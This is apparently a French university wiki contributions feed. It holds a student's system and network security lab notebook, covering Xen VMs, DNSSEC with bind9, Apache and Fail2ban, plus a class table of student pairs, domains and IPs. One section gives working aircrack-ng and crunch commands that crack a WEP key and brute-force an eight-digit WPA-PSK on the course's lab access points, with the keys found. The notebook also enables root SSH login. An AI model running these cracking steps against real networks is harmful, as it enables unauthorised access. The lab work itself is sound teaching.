wiki-se.plil.fr - Contributions [fr]

SE4 IdO sécurité système/réseau 2025/2026

2026-03-03T20:41:40Z

Tmerien : /* Répartition des binômes pour les travaux pratiques "administration système et réseau" */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.tech|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || dardevil.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
!numéro de binôme
!Adresse IPV4 OpenWRT
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|1
|193.48.57.177
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|
|
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|3
|193.48.57.180
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|4
|193.48.57.178
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|5
|193.48.57.181
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|7
|
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|6
|193.48.57.179
|-
| SE4.Solstice|| 193.48.57.167|| Mohamed Salhi
|2
|193.48.57.173
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|Styx
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E10-Tom
|20
|-
|E13-Billel
|23
|-
|E14-Antonin
|24
|-
|E15-MSalhi
|25
|-
|E11-Evora
|28
|-
|E12-Gauthier
|21
|-
|E8-Yassine
|18
|-
|E7-Ibrahim
|17
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCedric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|PoolBillel
|<code>10.60.13.0/24</code>
|2001:660:4401:60ad::/64
|-
|PoolAurele
|<code>10.60.9.0/24</code>
|2001:660:4401:60a9::/64
|-
|PoolTom
|<code>10.60.10.0/24</code>
|2001:660:4401:60aa::/64
|-
|PoolSalhi
|<code>10.60.15.0/24</code>
|2001:660:4401:60b1::/64
|-
|PoolAntonin
|<code>10.60.14.0/24</code>
|2001:660:4401:60ae::/64
|-
|PoolYassine
|10.60.8.0/24
|2001:660:4401:60a8::/64
|-
|PoolEvora
|10.60.11.0/24
|2001:660:4401:60ab::/64
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E10

2026-02-26T17:38:16Z

Tmerien : /* Partionnage */

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. <syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0
/dev/xvda1 none swap sw 0 0
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>Désormais, nos partitions '''var''' et '''home''' seront bien montés comme il se doit au démarrage.

== Configuration réseau ==
Ajouter une configuration réseau à nos machines virtuelles est essentiel pour accéder à Internet et pour pouvoir utiliser SSH sur nos machines depuis l'extérieur. C'est ce que nous allons voir dans cette partie.

=== Ping entre les deux machines de services ===
Comme premier jalon, intéressons nous à la façon de relier nos machines de services.

Pour ce faire, nous avons d'abord modifier les fichiers <code>/etc/network/interfaces</code>.

Sur ma machine de services TomPere2 :<syntaxhighlight lang="vim">
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
gateway 192.168.0.1
</syntaxhighlight>et sur la machine mandataire TomPere0 :<syntaxhighlight lang="vim">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.0.1
netmask 255.255.255.0

auto eth1
iface eth1 inet static
address 193.48.57.168
netmask 255.255.255.224
gateway 193.48.57.162
</syntaxhighlight>Après un <code>ifdown eth0</code> puis <code>ifup eth0</code> pour charger les modifications apportées, cette configuration nous a permis de voir l'adresse IPV4 correspondante à <code>eth0</code> avec la commande <code>ip address</code>.

De ce fait, nous avons pu '''ping''' d'une machine à l'autre via le commutateur virtuel.

==== Résultat ====
{| class="wikitable"
|+IPs de TomPere1
!TomPere1
!IPs
|-
|IPv4
|192.168.0.2
|-
|IPv6
|2001:660:4401:60a0:216:3eff:fe4b:1909
|}
Nous pouvons voir dans le tableau ci-dessus les '''IPs de la machine de service TomPere1''', ce qui nous permettra de '''tester la connexion avec l'utilitaire ping'''.<syntaxhighlight>
root@SE4-Tompere2:~# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.
64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.236 ms
64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.459 ms
</syntaxhighlight><syntaxhighlight>
root@SE4-Tompere2:~# ping 2001:660:4401:60a0:216:3eff:fe4b:1909
PING 2001:660:4401:60a0:216:3eff:fe4b:1909 (2001:660:4401:60a0:216:3eff:fe4b:1909) 56 data bytes
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=1 ttl=64 time=0.293 ms
64 bytes from 2001:660:4401:60a0:216:3eff:fe4b:1909: icmp_seq=2 ttl=64 time=0.249 ms
</syntaxhighlight>TomPere 2 reçoit bien une réponse !

=== SSH depuis l'extérieur ===
Pour pouvoir se SSH depuis l'extérieur, il faut commencer par activer l'option sur les machines.

Pour cela, rien de plus simple, il faut aller dans le fichier <code>/etc/ssh/sshd_config</code> des VMs et activer la directive <code>PermitRootLogin</code>.<syntaxhighlight lang="shell">
PermitRootLogin yes

</syntaxhighlight>Désormais, l'accès de root à distance est autorisé. On peut donc se '''ssh de TomPere2 vers TomPere1 et inversement''' !<syntaxhighlight>
root@SE4-Tompere2:~# ssh root@2001:660:4401:60a0:216:3eff:fe4b:1909
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
</syntaxhighlight>C'est pratique, mais ce n'est pas encore ce que l'on veut.

Nous voulons pouvoir se SSH depuis l'extérieur. L'idée va être de dire à la machine mandataire de rediriger certains ports que l'on choisit, vers les machines de services.

Dans notre cas, nous appliquerons la redirection suivante :
{| class="wikitable"
|+
!Nom de la VM
!Port de redirection associé
|-
|TomPere1
|2201
|-
|TomPere2
|2202
|}
Dans le fichier <code>/etc/sysctl.conf</code>:<syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Ensuite, on met à jour la modification grâce à <syntaxhighlight>
sysctl -p
</syntaxhighlight>Redirection des ports :<syntaxhighlight>
iptables -t nat -A PREROUTING -p tcp --dport 2201 -j DNAT --to-destination 192.168.0.2:22
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.0.3:22
</syntaxhighlight>Pour que les machines internes puissent sortir sur Internet via l’adresse publique de la mandataire, nous avons appliqué une mascarade :<syntaxhighlight>
iptables -t nat -A POSTROUTING -j MASQUERADE
</syntaxhighlight>Grâce à cette configuration nous pouvons nous connecter sur les machines de services en SSH depuis l'extérieur, via les commandes suivantes :<syntaxhighlight>
ssh root@193.48.57.168 -p2201
ssh root@193.48.57.168 -p2202
</syntaxhighlight>Super ! L'objectif est atteint.

Remarque : Si on veut que cette configuration reste, il faudra par contre installer le paquet <code>iptables-persistent</code> et effectuer la sauvegarde.<syntaxhighlight>
apt install iptables-persistent
netfilter-persistent save
</syntaxhighlight>

== DNS/DNSSEC ==

=== Prérequis ===
Nous devons configurer un serveur DNS, qui associe '''tompere.online''' et '''tompere2.xyz''', aux machines de services.

Pour ce faire, nous avons commencé par louer ces noms de domaine. sur Gandi.

Ensuite, nous avons pu télécharger les clés qui seront utiles plus tard pour configurer le DNSSEC.

* '''.key''' : la clé privée du domaine

* '''.csr''' : la demande de signature du certificat

=== Configuration du paquetage bind9 ===
Il faut installer le paquetage <code>bind9</code> avec <code>apt</code>.

Ensuite, il faut configurer un fichier de zone : <code>/etc/bind/zones/tompere2_xyz/tompere2.xyz</code>.<syntaxhighlight>
$TTL 400
; Zone file for tompere.online
@ IN SOA ns.tompere2.xyz. postmaster.tompere2.xyz. (
3703 ; Serial
21600 ; Refresh (6h)
3600 ; Retry (1h)
2592000 ; Expire (30 days)
86400 ; Negative cache (24h)
)

; Name servers
@ IN NS ns.tompere2.xyz.
@ IN NS ns.tompere.online.

; AAAA records (IPv6)
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe3f:9410

; A records (IPv4)
ns IN A 193.48.57.168
@ IN A 193.48.57.168

; CNAME records
www IN CNAME tompere2.xyz.
</syntaxhighlight>Nous avons choisi '''ns''' comme préfixe à nos noms de domaine. Il faut veiller à bien rester cohérent en remplissant la section '''External Nameservers''' de Gandi.

Concernant l'adresse '''IPv4''', <code>193.48.57.168</code> est l'adresse publique de la machine mandataire, ce qui est logique car elle doit être accessible depuis l'extérieur.

Par ailleurs, il faut bien penser à ajouter les '''permissions aux dossiers parents''' de ce fichier de zone. Sinon, des logs ''"Permission Denied"'' apparaîtront, et le DNS sera non fonctionnel.

La syntaxe de ce fichier doit être précise, alors il est pratique de vérifier la validité du fichier via l'utilitaire <code>named-checkzone</code>.

Aussi, pour s'assurer que les mises à jour du fichier sont prises en compte, il faut toujours modifier le numéro de série, par exemple en l'incrémentant de 1.

Maintenant, modifions le fichier <code>/etc/bind/named.conf.local</code><syntaxhighlight>
zone "tompere2.xyz" {
type master;
file "/etc/bind/zones/tompere2_xyz/tompere2.xyz";
allow-transfer { secondaries; }; // Filtrage des secondaires
also-notify { hiddensecondaries; };

};

acl "secondaries" {
192.168.0.2; // Serveur secondaire IPv4
2001:660:4401:60a0:216:3eff:fe4b:1909; // Serveur secondaire IPv6
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

masters "hiddensecondaries" {
2001:660:4401:60a0:216:3eff:fecd:2805; // Serveur mandataire IPv6
};

zone "tompere.online"{
type secondary;
file "/etc/bind/backup/tompere";
primaries{ 2001:660:4401:60a0:216:3eff:fe4b:1909; };
};
</syntaxhighlight>Ce fichier gère qui est maître ou secondaire pour chaque domaine, où est le fichier de zone, et quels serveurs sont autorisés à recevoir ou notifier les mises à jour.

=== Glue Record ===
Pour que le domaine soit accessible depuis Internet, j’ai ajouté un '''Glue Record''' sur '''Gandi'''.

Cela permet d’associer l’adresse '''IPv4''' de la machine mandataire et l’adresse '''IPv6''' de ma machine de services aux serveurs de noms du domaine.

* ns.tompere2.xyz
** IPv4 : <code>193.48.57.168</code>
** IPv6 : <code>2001:660:4401:60a0:216:3eff:fe3f:9410</code>

=== DNSSEC ===
Pour sécuriser le DNS, nous devons apporter quelques modifications au fichier <code>/etc/bind/named.conf.local</code>.
En effet, nous allons rajouter ces lignes dans <code>zone "tompere2.xyz"</code><syntaxhighlight lang="shell">
notify yes; // Notification des secondaires
key-directory "/etc/bind/keys";
dnssec-policy "dnspol";
inline-signing yes;
</syntaxhighlight>De plus, il faut ajouter<syntaxhighlight>
dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};
</syntaxhighlight>Ces lignes servent à définir une '''politique de signature'''. Cela indique quelles clés utiliser (KSK/ZSK), leur durée de vie et l’algorithme de signature.

Les clés vont être créer automatiquement au redémarrage de bind, mais il faut pour cela créer un dossier <code>/bind/keys</code><syntaxhighlight>
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Enfin, nous pouvons redémarrer bind pour vérifier la création des clés.<syntaxhighlight>
systemctl restart named
systemctl enable named
</syntaxhighlight>Les clés sont biens générées !

Il faut désormais '''copier la clé publique''' (.key) sur '''Gandi'''.

Dans mon cas, j'avais 2 clés publiques .key, donc j'ai copié ces deux clés sur Gandi, mais comme nous allons voir, une seule est utile.

Pour mieux visualiser le déploiement de notre DNS, nous pouvons utiliser deux sites bien utiles :
*https://dnschecker.org/
*https://dnsviz.net/

Remarque : Nous avons également utilisé <code>dig</code> pour nos tests intermédiaires.

Le premier site, DNSChecker, nous informe si la propagation de notre DNS a eu lieu.

Dans le cas de '''tompere2.xyz''', on voit que c'est bon, aussi bien en IPv4 qu'en IPv6.
[[Fichier:Déploiement IPv4.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
[[Fichier:Déploiement DNS IPv6.png|néant|vignette|800x800px|Le DNS a bien été déployé partout dans le monde !]]
Le DNS marche bien ! Super !

Il faut maintenant s'assurer que la partie sécurisée, fonctionne également.

Rendons nous sur '''DNSViz''', un outil qui nous donnera plus d'informations à ce sujet.
[[Fichier:DNS Viz.png|néant|vignette|Le DNSSEC fonctionne !]]
Comme on le vois, le DNSSEC fonctionne ! Cela dit, une clé est inutilisée, comme indiqué sur le schéma en gris clair. Nous pouvons la supprimer de '''Gandi,''' pour rendre l'architecture plus cohérente.

== Serveur Apache ==
Notre DNSSEC est désormais fonctionnel, on peut alors passer à la configuration d'une page web via <code>apache2</code>.

=== Objectif ===
L'objectif du serveur Apache sera de pouvoir servir les pages webs de nos machines de services.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install apache2</code>

==== Paramètrage sur machine mandataire ====
Avant de commencer, il nous faut activer quelques modules permettant le bon fonctionnement d'Apache.

*<code>a2enmod ssl</code> : active le module SSL pour permettre les connexions sécurisées en '''HTTPS (TLS)''' avec certificats.

*<code>a2enmod proxy</code> : active les fonctionnalités de '''reverse proxy''', permettant à Apache de rediriger les requêtes vers un autre serveur.

*<code>a2enmod proxy_http</code> : active le support du proxy pour le protocole '''HTTP.'''

Sur la machine mandataire, nous avons créé et rempli le fichier <code>/etc/apache2/sites-available/000-tompere2.xyz-ssl.conf</code><syntaxhighlight lang="vim">
<VirtualHost *:80>
ServerName ns.tompere2.xyz
Redirect permanent / https://tompere2.xyz/
</VirtualHost>

<VirtualHost *:443>
ServerName tompere2.xyz
ServerAlias tompere2.xyz
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/tompere2.xyz.crt
SSLCertificateKeyFile /etc/ssl/private/tompere2.xyz.key
SSLCertificateChainFile /etc/ssl/certs/tompere2.xyz.pem
SSLVerifyClient None
SSLProxyEngine on
</VirtualHost>

</syntaxhighlight>Ce fichier permet à la machine mandataire de gérer l’accès au site '''tompere2.xyz'''.

Dans le fichier <code>/var/www/html/index.html</code>, nous avons modifié le titre pour pouvoir visualiser que les changements étaient bien pris en considération.<syntaxhighlight lang="html">
<title>Tom et Aurele Page: It works</title>
</syntaxhighlight>

==== Résultat ====
Finalement, nous obtenons bien un accès au site '''tompere2.xyz''' avec le nouveau titre ![[Fichier:Mon site web.png|néant|vignette|Photo de mon site tompere2.xyz]]

== Fail2Ban ==

=== Contexte et objectifs ===
Les machines '''exposées en SSH''' sur Internet sont constamment ciblées par des '''attaques automatisées''' qui enchaînent des milliers de tentatives de '''connexion par force brute''' afin de deviner des identifiants. Il est donc essentiel de mettre en place un système comme '''Fail2ban pour détecte'''r ces tentatives répétées '''et bloquer''' automatiquement les adresses IP malveillantes.

=== Réalisation ===

==== Installation du paquet ====
<code>apt update</code>

<code>apt install fail2ban</code>

==== Définition du Fail2Ban ====
Dans le fichier <code>/etc/fail2ban/jail.local</code> de la '''machine mandataire''', nous pouvons définir la façon dont le fail2ban va agir.<syntaxhighlight>
[sshd]
enabled = true
port = ssh
filter = sshd
ignoreip = 127.0.0.1
findtime = 10m
bantime = 5m
maxretry = 3
</syntaxhighlight>Désormais, nous sommes protégés contre les tentatives de brute force par SSH. En effet, au bout de 3 échecs consécutifs, l'utilisateur malveillant est banni temporairement.

== Effraction WiFi ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

==== Adresse MAC de cracotte10 ====
Pour trouver l'adresse MAC de cracotte10, nous pouvons utiliser <code>airodump-ng</code>. Pour ce faire, nous devons tout d'abord trouver le '''nom de la carte réseau'''. On peut trouver cela via <code>ip link</code>.

J'obtiens alors <code>wlan0</code>, mais pour augmenter la vitesse de cassage, nous utiliserons une clé USB Wi-Pi qui nous attribuera le <code>wlx40a5efd2140c</code>

Ensuite, on scanne grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid cracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:DA:D2:9C:50:59 -69 2 1 0 4 54e. WEP WEP cracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes
</syntaxhighlight>L'adresse '''MAC de cracotte10''' est donc

<code>04:DA:D2:9C:50:59</code>

==== Récupération de données ====
Une fois '''l'adresse mac et le canal récupérés''', nous pouvons récupérer un flux de données qui sera stocké dans un fichier <code>.cap</code>

<code>sudo airodump-ng -c 4 --bssid 04:DA:D2:9C:50:59 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WEP ====
Pendant que le fichier se remplit, on peut vérifier régulièrement si la clef a été trouvée.

<code>sudo aircrack-ng -b 04:DA:D2:9C:50:58 *.cap</code>

Si le programme réussit, nous '''obtenons la clef !'''

<code>KEY FOUND! [ 55:55:55:55:5A:BC:11:CB:A4:44:44:44:44]</code>

=== Cassage de mot de passe WPA-PSK par force brute ===
Désormais, nous voulons la clef WPA-PSK. Nous savons que cette clef est composée de 8 chiffres. Ainsi, la méthode sera de tester toutes les combinaisons possibles.

==== Adresse MAC de kracotte10 ====
Nous obtenons l'adresse MAC grâce à:

<code>sudo airodump-ng wlx40a5efd2140c --essid kracotte10</code>

Nous obtenons :<syntaxhighlight>
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:09 -67 4 0 0 13 54e. WPA2 CCMP PSK kracotte10

BSSID STATION PWR Rate Lost Frames Notes Probes

</syntaxhighlight>L'adresse '''MAC de kracotte10''' est donc

<code>44:AD:D9:5F:87:09</code>

==== Dictionnaire ====
Pour casser le mot de passe par force brute, il nous faut toutes les combinaisons possibles. Le paquetage <code>crunch</code> est l'outil parfait dans notre cas.

Nous pouvons générer toutes ces combinaisons dans un fichier texte en faisant :

<code>crunch 8 8 0123456789 -o 8numbers_dico.txt</code>

==== Handshake ====
Maintenant que nous avons l'adresse MAC et le dictionnaire, il nous faut un handshake, nous pouvons faire :

<code>sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:09 wlx40a5efd2140c --write dump</code>

==== Cassage de la clef WPA-PSK ====
Une fois avoir attendu quelques minutes, il suffit de lancer la commande suivante:

<code>sudo aircrack-ng -w 8numbers_dico.txt -b 44:AD:D9:5F:87:09 dump-01.cap</code>

Cette commande va tester toutes les lignes du fichier texte. Dans notre cas, comme il y a 10 000 000 de possiblités, il faudra attendre une trentaine de minutes avant de trouver la clef.<syntaxhighlight>
Aircrack-ng 1.7

[00:31:37] 66625424/100000000 keys tested (34611.27 k/s)

Time left: 16 minutes, 4 seconds 66.63%

KEY FOUND! [ 66680666 ]

Master Key : 67 BB 05 71 A9 6D E4 5C 11 65 42 F7 BD 81 F1 7E
CD 69 8F FE F3 CD 2A 64 9D F1 74 7B 4D F0 CA 65

Transient Key : 45 9C CA 1B 45 A8 DA C5 1A 82 BF F5 C4 FF AF 01
FE CD F8 A4 21 38 1A 58 BB C5 DE BA 00 5B BF 2A
03 66 AF 4B 36 A8 B8 C4 B4 30 62 BB 30 73 DA 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC : 48 08 73 07 B7 6C 9C FA 3A F1 58 DD 49 93 4C 3E
</syntaxhighlight>

== Sécurisation et accès WiFi par WPA2-EAP ==

Atelier SysRes SE4 2025/2026 E10

2026-02-26T17:31:49Z

Tmerien :

== Informations utiles ==
{| class="wikitable"
|+
!Machine
!Nom
!Site web
!IPv4 publique
|-
|Ma machine de service
|TomPere2
|tompere2.xyz
|''NA''
|-
|Machine de service d'Aurèle
|TomPere1
|tompere.online
|''NA''
|-
|Machine mandataire
|TomPere0
|''NA''
|193.48.57.168
|}

== Machines virtuelles ==

=== Créer ses VMs ===

==== Prérequis ====

Tout d'abord, nous devons nous connecter à ''CapBreton'' pour pouvoir y créer nos machines virtuelles.<syntaxhighlight lang="shell">
ssh root@capbreton
</syntaxhighlight>Ensuite, nous utiliserons l'hyperviseur de machine virtuelle Xen pour créer nos VMs.

==== Création ====

Voici la commande permettant de créer ma machine de service. <syntaxhighlight lang="shell">
xen-create-image --hostname=SE4-TomPere2 --dhcp --bridge=pont_pere --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2048M --force
</syntaxhighlight>Maintenant que nous avons une machine virtuelle créer, il faut la démarrer et s'y connecter ! C'est ce que permettent les deux commandes suivantes :<syntaxhighlight>
xen create /etc/xen/SE4-TomPere2.cfg
xen console SE4-TomPere2
</syntaxhighlight>

==== Vérification ====
Remarque : On peut vérifier que '''les machines virtuelles en cours d’exécution''' grâce à <code>xen list</code> .<syntaxhighlight>
root@capbreton:/var# xen list | grep Tom
SE4-Tompere1 389 2048 1 -b---- 3574.5
SE4-Tompere2 390 2048 1 -b---- 3343.2
SE4-Tompere0 399 2048 1 -b---- 8849.0
</syntaxhighlight>Comme on le voit, nos 3 machines sont démarrées !

=== Partionnage ===

==== Configuration ====
On ajoute dans le fichier <code>/etc/xen/SE4-Tompere2.cfg</code> nos partitions '''home''' et '''var'''.<syntaxhighlight lang="shell">
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/SE4-Tompere2/disk.img,xvda2,w',
'file:/usr/local/xen/domains/SE4-Tompere2/swap.img,xvda1,w',
'phy:/dev/virtual/Tompere2-home,xvda3,w',
'phy:/dev/virtual/Tompere2-var,xvdb1,w',
]
</syntaxhighlight>

==== Montage des partitions ====
<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mount -a
mkfs -t ext4 /dev/xvda3
mount -a
</syntaxhighlight>Le montage des partitions est fait ! On peut par ailleurs le voir via <code>lsblk</code>. Cependant, au redémarrage de la VM, les partitions ne seront pas automatiquement montées. Ainsi, il faut modifier le fichier <code>/etc/fstab</code>:<syntaxhighlight lang="shell">
proc /proc proc defaults 0 0
